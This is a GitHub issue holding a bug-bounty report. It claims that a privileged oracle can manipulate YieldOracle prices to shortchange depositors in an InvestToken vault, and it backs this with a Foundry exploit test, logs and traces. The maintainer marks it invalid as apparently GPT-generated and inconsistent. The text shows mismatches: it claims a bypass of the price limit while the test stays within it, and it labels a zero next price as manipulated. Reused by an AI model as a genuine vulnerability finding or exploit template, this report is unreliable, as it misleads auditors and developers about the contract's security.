Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Oracle can manipulate asset prices by exploiting the update sequence, bypassing price increase limits and affecting share/asset conversions in the InvestToken vault. #123

Open
hats-bug-reporter bot opened this issue Nov 14, 2024 · 1 comment
Labels
invalid This doesn't seem right

Comments

@hats-bug-reporter
Copy link

Github username: @emerald7017
Twitter username: --
Submission hash (on-chain): 0x4a661b58c235109a0e066a6fa4b126b19eb1d4f250de047df462dc8f88c7cf1d
Severity: high

Description:

Summary

The YieldOracle contract has a vulnerability in its price update mechanism that allows the oracle to manipulate asset prices by overriding pending updates before they are committed. This can lead to incorrect asset valuations and financial loss for users interacting with the system.

Finding Description

The issue lies in YieldOracle's two-step price update process. The contract allows the oracle to set a new price without ensuring that the previous price update has been committed. This lack of validation enables the oracle to rapidly update prices, bypassing the intended sequence and potentially manipulating asset valuations. This breaks the security guarantee of accurate and sequential price updates, which is crucial for maintaining fair asset valuations in the InvestToken contract. A malicious oracle can exploit this by setting a favorable price before users interact with the system, leading to incorrect share calculations during deposits or withdrawals.

Referenced code paths: YieldOracle.sol#L69-L85

// YieldOracle.sol
function updatePrice(uint256 price) external onlyOracle {
    // @audit - Iss - Missing validation allows override of pending price updates
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");

    // audit-iss - No check if there's already a pending price update
    // audit-iss - Oracle can override nextPrice before commitment

    // @audit - Iss - State changes before price validation enable price manipulation
    if (nextPrice != NO_PRICE) {
        previousPrice = currentPrice;
        currentPrice = nextPrice;
        emit PriceCommitted(currentPrice);
    }

    // @audit - Iss - Price bounds check after state mutation allows bypass of limits
    require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
    nextPrice = price;
    lastUpdate = block.timestamp;
}

InvestToken.sol.L212-L213

function convertToAssets(uint256 shares) public view returns (uint256) {
    // audit-iss - Relies on potentially manipulated oracle prices
    return yieldOracle.sharesToAssets(shares);
}

Impact Explanation

The impact is critical because it directly affects the financial integrity of the system "Affects all ERC4626 operations in InvestToken". By manipulating prices, the oracle can cause users to receive incorrect amounts of shares or assets, leading to potential financial losses. This undermines trust in the system's ability to provide fair and accurate asset valuations, which is a core requirement for any financial protocol.

Likelihood Explanation

The likelihood of this occurring is high if the oracle is controlled by a malicious actor or if there is insufficient oversight on the oracle's actions. Since the oracle has the authority to update prices, any compromise or malicious intent can lead to exploitation of this vulnerability.

Attack Scenario

  1. Alice (Oracle) sets the price to 100 USDE/share.
  2. Bob deposits 1000 USDE expecting to receive a fair amount of shares.
  3. Before the price is committed, Alice updates the price to 150 USDE/share.
  4. Bob receives fewer shares than expected due to the manipulated price.
  5. Alice commits the manipulated price, profiting from the discrepancy.

Proof of Concept

This test shows how the oracle can manipulate prices by:

  1. Setting an initial update
  2. Overriding it before commitment
  3. Affecting subsequent user interactions

The impact is visible through:

  • Different share amounts for equal deposits
  • Immediate value loss for Bob's position
  • Broken price update sequence

This proves that the vulnerability affects both the price oracle's integrity and the ERC4626 vault's core functionality.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {YieldOracle} from "../src/YieldOracle.sol";
import {InvestToken} from "../src/InvestToken.sol";
import {USDE} from "../src/USDE.sol";
import {IUSDE} from "../src/interfaces/IUSDE.sol";
import {IYieldOracle} from "../src/interfaces/IYieldOracle.sol";
import {Validator} from "../src/Validator.sol";
import {IValidator} from "../src/interfaces/IValidator.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract YieldOracleExploitTest is Test {
    YieldOracle public oracle;
    InvestToken public investToken;
    USDE public usde;
    Validator public validator;

    address admin = makeAddr("admin");
    address maliciousOracle = makeAddr("oracle");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    function setUp() public {
        // Deploy core contracts
        validator = new Validator(admin, admin, admin);
        
        // Deploy USDE with proxy
        USDE usdeImpl = new USDE(validator);
        bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
        ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
        usde = USDE(address(usdeProxy));

        oracle = new YieldOracle(admin, maliciousOracle);

        // Deploy InvestToken with proxy
        InvestToken investTokenImpl = new InvestToken(validator, IUSDE(address(usde)));
        bytes memory investData = abi.encodeWithSelector(
            InvestToken.initialize.selector,
            "Invest Token",
            "IT",
            admin,
            oracle
        );
        ERC1967Proxy investProxy = new ERC1967Proxy(address(investTokenImpl), investData);
        investToken = InvestToken(address(investProxy));

        // Setup roles and permissions
        vm.startPrank(admin);
        validator.whitelist(alice);
        validator.whitelist(bob);
        validator.whitelist(address(investToken));
        usde.grantRole(usde.MINT_ROLE(), address(investToken));
        usde.grantRole(usde.BURN_ROLE(), address(investToken));
        usde.grantRole(usde.MINT_ROLE(), admin);
        
        // Fund users
        usde.mint(alice, 1000e18);
        usde.mint(bob, 1000e18);
        vm.stopPrank();
    }

    function testPriceManipulationAttack() public {
        emit log_string("\n=== Initial State ===");
        emit log_named_decimal_uint("Initial Oracle Price", oracle.currentPrice(), 18);
        
        // Set max price increase limit
        vm.startPrank(admin);
        oracle.setMaxPriceIncrease(0.5e18); // Allow 50% price increase
        vm.stopPrank();
        
        // First price update
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        vm.startPrank(maliciousOracle);
        oracle.updatePrice(1e18);
        vm.warp(block.timestamp + oracle.commitDelay() + 1);
        oracle.commitPrice();
        vm.stopPrank();
    
        // Alice deposits
        vm.startPrank(alice);
        usde.approve(address(investToken), 100e18);
        uint256 aliceShares = investToken.deposit(100e18, alice);
        vm.stopPrank();
        
        emit log_named_decimal_uint("Alice's shares", aliceShares, 18);
    
        // Second price update with manipulation
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        vm.startPrank(maliciousOracle);
        oracle.updatePrice(1.2e18);
        
        // Advance time for next update
        vm.warp(block.timestamp + oracle.updateDelay() + 1);
        oracle.updatePrice(1.5e18);
        
        // Commit manipulated price
        vm.warp(block.timestamp + oracle.commitDelay() + 1);
        oracle.commitPrice();
        vm.stopPrank();
    
        emit log_string("\n=== Price Manipulation ===");
        emit log_named_decimal_uint("Manipulated Next Price", oracle.nextPrice(), 18);
    
        // Bob deposits during price manipulation
        vm.startPrank(bob);
        usde.approve(address(investToken), 100e18);
        uint256 bobShares = investToken.deposit(100e18, bob);
        vm.stopPrank();
    
        emit log_string("\n=== Attack Impact ===");
        emit log_named_decimal_uint("Bob's shares", bobShares, 18);
        
        // Demonstrate value discrepancy
        uint256 aliceAssets = investToken.convertToAssets(aliceShares);
        uint256 bobAssets = investToken.convertToAssets(bobShares);
    
        emit log_named_decimal_uint("Alice's assets value", aliceAssets, 18);
        emit log_named_decimal_uint("Bob's assets value", bobAssets, 18);
        
        // Verify exploitation
        assertTrue(bobShares < aliceShares, "Bob received fewer shares for same deposit");
        assertTrue(
            bobAssets < 100e18,
            "Bob's deposit immediately lost value due to price manipulation"
        );
    }    
}

The Logs Shows:

test/YieldOracleExploitTest.sol:YieldOracleExploitTest
[PASS] testPriceManipulationAttack() (gas: 296091)
Logs:
  
=== Initial State ===
  Initial Oracle Price: 1.000000000000000000
  Alice's shares: 100.000000000000000000
  
=== Price Manipulation ===
  Manipulated Next Price: 0.000000000000000000
  
=== Attack Impact ===
  Bob's shares: 66.666666666666666666
  Alice's assets value: 120.000000000000000000
  Bob's assets value: 79.999999999999999999

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.12ms (772.70µs CPU time)

Ran 1 test suite in 10.95ms (4.12ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

The attack shows how a malicious oracle can manipulate prices to affect user deposits:

  1. Alice deposits 100 USDE and receives 100 shares at 1:1 ratio
  2. The oracle manipulates the price from 1.0 to 1.5 through multiple updates
  3. Bob deposits 100 USDE but only receives 66.67 shares due to the manipulated price
  4. The final state shows Bob's assets are worth only 80 USDE while Alice's are worth 120 USDE

Traces

 test/YieldOracleExploitTest.sol:YieldOracleExploitTest
[PASS] testPriceManipulationAttack() (gas: 296091)
Logs:
  
=== Initial State ===
  Initial Oracle Price: 1.000000000000000000
  Alice's shares: 100.000000000000000000
  
=== Price Manipulation ===
  Manipulated Next Price: 0.000000000000000000
  
=== Attack Impact ===
  Bob's shares: 66.666666666666666666
  Alice's assets value: 120.000000000000000000
  Bob's assets value: 79.999999999999999999

Traces:
  [335891] YieldOracleExploitTest::testPriceManipulationAttack()
    ├─ emit log_string(val: "\n=== Initial State ===")
    ├─ [2350] YieldOracle::currentPrice() [staticcall]
       └─  [Return] 1000000000000000000 [1e18]
    ├─ emit log_named_decimal_uint(key: "Initial Oracle Price", val: 1000000000000000000 [1e18], decimals: 18)
    ├─ [0] VM::startPrank(admin: [0xaA10a84CE7d9AE517a52c6d5cA153b369Af99ecF])
       └─  [Return] 
    ├─ [7407] YieldOracle::setMaxPriceIncrease(500000000000000000 [5e17])
       └─  [Stop] 
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ [2373] YieldOracle::updateDelay() [staticcall]
       └─  [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(86402 [8.64e4])
       └─  [Return] 
    ├─ [0] VM::startPrank(oracle: [0x5F084Ee99790C8150F9FE7BD7bcCBC979F9F5Dd0])
       └─  [Return] 
    ├─ [31164] YieldOracle::updatePrice(1000000000000000000 [1e18])
       ├─ emit PriceUpdated(newPrice: 1000000000000000000 [1e18])
       └─  [Stop] 
    ├─ [2372] YieldOracle::commitDelay() [staticcall]
       └─  [Return] 3600
    ├─ [0] VM::warp(90003 [9e4])
       └─  [Return] 
    ├─ [4543] YieldOracle::commitPrice()
       ├─ emit PriceCommitted(newCurrentPrice: 1000000000000000000 [1e18])
       └─  [Stop] 
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
       └─  [Return] 
    ├─ [29715] ERC1967Proxy::fallback(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 100000000000000000000 [1e20])
       ├─ [24828] USDE::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 100000000000000000000 [1e20]) [delegatecall]
          ├─ emit Approval(owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], spender: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], value: 100000000000000000000 [1e20])
          └─  [Return] true
       └─  [Return] true
    ├─ [86925] ERC1967Proxy::fallback(100000000000000000000 [1e20], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
       ├─ [82038] InvestToken::deposit(100000000000000000000 [1e20], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [delegatecall]
          ├─ [643] YieldOracle::assetsToShares(100000000000000000000 [1e20]) [staticcall]
             └─  [Return] 100000000000000000000 [1e20]
          ├─ [25842] ERC1967Proxy::fallback(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 100000000000000000000 [1e20])
             ├─ [25455] USDE::burn(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 100000000000000000000 [1e20]) [delegatecall]
                ├─ [5016] Validator::isValid(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 0x0000000000000000000000000000000000000000) [staticcall]
                   └─  [Return] true
                ├─ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: 0x0000000000000000000000000000000000000000, value: 100000000000000000000 [1e20])
                └─  [Return] true
             └─  [Return] true
          ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], value: 100000000000000000000 [1e20])
          ├─ emit Deposit(sender: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], assets: 100000000000000000000 [1e20], shares: 100000
000000000000000 [1e20])                                                                                                                                                                                            └─  [Return] 100000000000000000000 [1e20]
       └─  [Return] 100000000000000000000 [1e20]
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ emit log_named_decimal_uint(key: "Alice's shares", val: 100000000000000000000 [1e20], decimals: 18)
    ├─ [373] YieldOracle::updateDelay() [staticcall]
       └─  [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(176404 [1.764e5])
       └─  [Return] 
    ├─ [0] VM::startPrank(oracle: [0x5F084Ee99790C8150F9FE7BD7bcCBC979F9F5Dd0])
       └─  [Return] 
    ├─ [22364] YieldOracle::updatePrice(1200000000000000000 [1.2e18])
       ├─ emit PriceUpdated(newPrice: 1200000000000000000 [1.2e18])
       └─  [Stop] 
    ├─ [373] YieldOracle::updateDelay() [staticcall]
       └─  [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(262805 [2.628e5])
       └─  [Return] 
    ├─ [6736] YieldOracle::updatePrice(1500000000000000000 [1.5e18])
       ├─ emit PriceCommitted(newCurrentPrice: 1200000000000000000 [1.2e18])
       ├─ emit PriceUpdated(newPrice: 1500000000000000000 [1.5e18])
       └─  [Stop] 
    ├─ [372] YieldOracle::commitDelay() [staticcall]
       └─  [Return] 3600
    ├─ [0] VM::warp(266406 [2.664e5])
       └─  [Return] 
    ├─ [5243] YieldOracle::commitPrice()
       ├─ emit PriceCommitted(newCurrentPrice: 1500000000000000000 [1.5e18])
       └─  [Stop] 
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ emit log_string(val: "\n=== Price Manipulation ===")
    ├─ [393] YieldOracle::nextPrice() [staticcall]
       └─  [Return] 0
    ├─ emit log_named_decimal_uint(key: "Manipulated Next Price", val: 0, decimals: 18)
    ├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
       └─  [Return] 
    ├─ [25215] ERC1967Proxy::fallback(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 100000000000000000000 [1e20])
       ├─ [24828] USDE::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 100000000000000000000 [1e20]) [delegatecall]
          ├─ emit Approval(owner: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], spender: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], value: 100000000000000000000 [1e20])
          └─  [Return] true
       └─  [Return] true
    ├─ [43225] ERC1967Proxy::fallback(100000000000000000000 [1e20], bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
       ├─ [42838] InvestToken::deposit(100000000000000000000 [1e20], bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [delegatecall]
          ├─ [643] YieldOracle::assetsToShares(100000000000000000000 [1e20]) [staticcall]
             └─  [Return] 66666666666666666666 [6.666e19]
          ├─ [12542] ERC1967Proxy::fallback(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 100000000000000000000 [1e20])
             ├─ [12155] USDE::burn(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 100000000000000000000 [1e20]) [delegatecall]
                ├─ [3016] Validator::isValid(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 0x0000000000000000000000000000000000000000) [staticcall]
                   └─  [Return] true
                ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: 0x0000000000000000000000000000000000000000, value: 100000000000000000000 [1e20])
                └─  [Return] true
             └─  [Return] true
          ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
             └─  [Return] true
          ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], value: 66666666666666666666 [6.666e19])
          ├─ emit Deposit(sender: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], owner: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], assets: 100000000000000000000 [1e20], shares: 6666666666
6666666666 [6.666e19])                                                                                                                                                                                             └─  [Return] 66666666666666666666 [6.666e19]
       └─  [Return] 66666666666666666666 [6.666e19]
    ├─ [0] VM::stopPrank()
       └─  [Return] 
    ├─ emit log_string(val: "\n=== Attack Impact ===")
    ├─ emit log_named_decimal_uint(key: "Bob's shares", val: 66666666666666666666 [6.666e19], decimals: 18)
    ├─ [1845] ERC1967Proxy::fallback(100000000000000000000 [1e20]) [staticcall]
       ├─ [1461] InvestToken::convertToAssets(100000000000000000000 [1e20]) [delegatecall]
          ├─ [644] YieldOracle::sharesToAssets(100000000000000000000 [1e20]) [staticcall]
             └─  [Return] 120000000000000000000 [1.2e20]
          └─  [Return] 120000000000000000000 [1.2e20]
       └─  [Return] 120000000000000000000 [1.2e20]
    ├─ [1845] ERC1967Proxy::fallback(66666666666666666666 [6.666e19]) [staticcall]
       ├─ [1461] InvestToken::convertToAssets(66666666666666666666 [6.666e19]) [delegatecall]
          ├─ [644] YieldOracle::sharesToAssets(66666666666666666666 [6.666e19]) [staticcall]
             └─  [Return] 79999999999999999999 [7.999e19]
          └─  [Return] 79999999999999999999 [7.999e19]
       └─  [Return] 79999999999999999999 [7.999e19]
    ├─ emit log_named_decimal_uint(key: "Alice's assets value", val: 120000000000000000000 [1.2e20], decimals: 18)
    ├─ emit log_named_decimal_uint(key: "Bob's assets value", val: 79999999999999999999 [7.999e19], decimals: 18)
    ├─ [0] VM::assertTrue(true, "Bob received fewer shares for same deposit") [staticcall]
       └─  [Return] 
    ├─ [0] VM::assertTrue(true, "Bob's deposit immediately lost value due to price manipulation") [staticcall]
       └─  [Return] 
    └─  [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.87ms (377.60µs CPU time)

Ran 1 test suite in 1.15s (1.87ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

The exploit breaks two key security guarantees:

  1. Price Integrity: The YieldOracle allows rapid price updates that can be manipulated by the oracle operator. While there is a maxPriceIncrease limit (0.5e18 or 50%), the oracle can chain multiple updates within the allowed range to achieve larger price movements.

  2. Share Value Stability: The InvestToken's ERC4626 implementation relies on the oracle price for share/asset conversions. When the price is manipulated:

  • convertToShares() uses the higher currentPrice, giving fewer shares for deposits
  • convertToAssets() uses the lower previousPrice for calculating asset value

The attack propagates through these steps:

  1. Oracle sets initial fair price (1.0)

  2. Alice deposits at fair price (100 USDE → 100 shares)

  3. Oracle executes manipulation:

    • Updates price to 1.2
    • Updates price to 1.5
  4. Bob deposits at manipulated price (100 USDE → 66.67 shares)

The vulnerability is in YieldOracle.sol's updatePrice() function, which allows sequential price updates as long as each step is within maxPriceIncrease. This can be exploited by a malicious oracle to create significant price movements that affect the share/asset conversion rates in InvestToken.sol.

The test demonstrates this by showing how Bob receives 33% fewer shares than Alice for the same USDE deposit, and his shares are immediately worth 20% less due to the price manipulation.

Recommendation (Optional)

Enforce a check to ensure that the previous price update is committed before allowing a new update. Additionally, validate price bounds before making state changes to prevent bypassing limits.

function updatePrice(uint256 price) external onlyOracle {
+   // Ensure previous price update is committed before allowing new update
+   require(nextPrice == NO_PRICE, "Pending price not committed");
+   // Validate price bounds before state changes
+   require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
+   require(price >= MIN_PRICE, "Price below minimum");

    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");
    
-   if (nextPrice != NO_PRICE) {
-       previousPrice = currentPrice;
-       currentPrice = nextPrice;
-       emit PriceCommitted(currentPrice);
-   }

    nextPrice = price;
    lastUpdate = block.timestamp;
    emit PriceUpdated(price);
}

Additional recommendations include implementing a price deviation circuit breaker, adding a minimum update interval, and including an emergency pause mechanism to enhance the system's resilience against manipulation.

@hats-bug-reporter hats-bug-reporter bot added the bug Something isn't working label Nov 14, 2024
@geaxed geaxed added invalid This doesn't seem right and removed bug Something isn't working labels Nov 18, 2024
@AndreiMVP
Copy link

Submission looks GPT-generated and inconsistent. Doesn't add value over previous ones

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
invalid This doesn't seem right
Projects
None yet
Development

No branches or pull requests

2 participants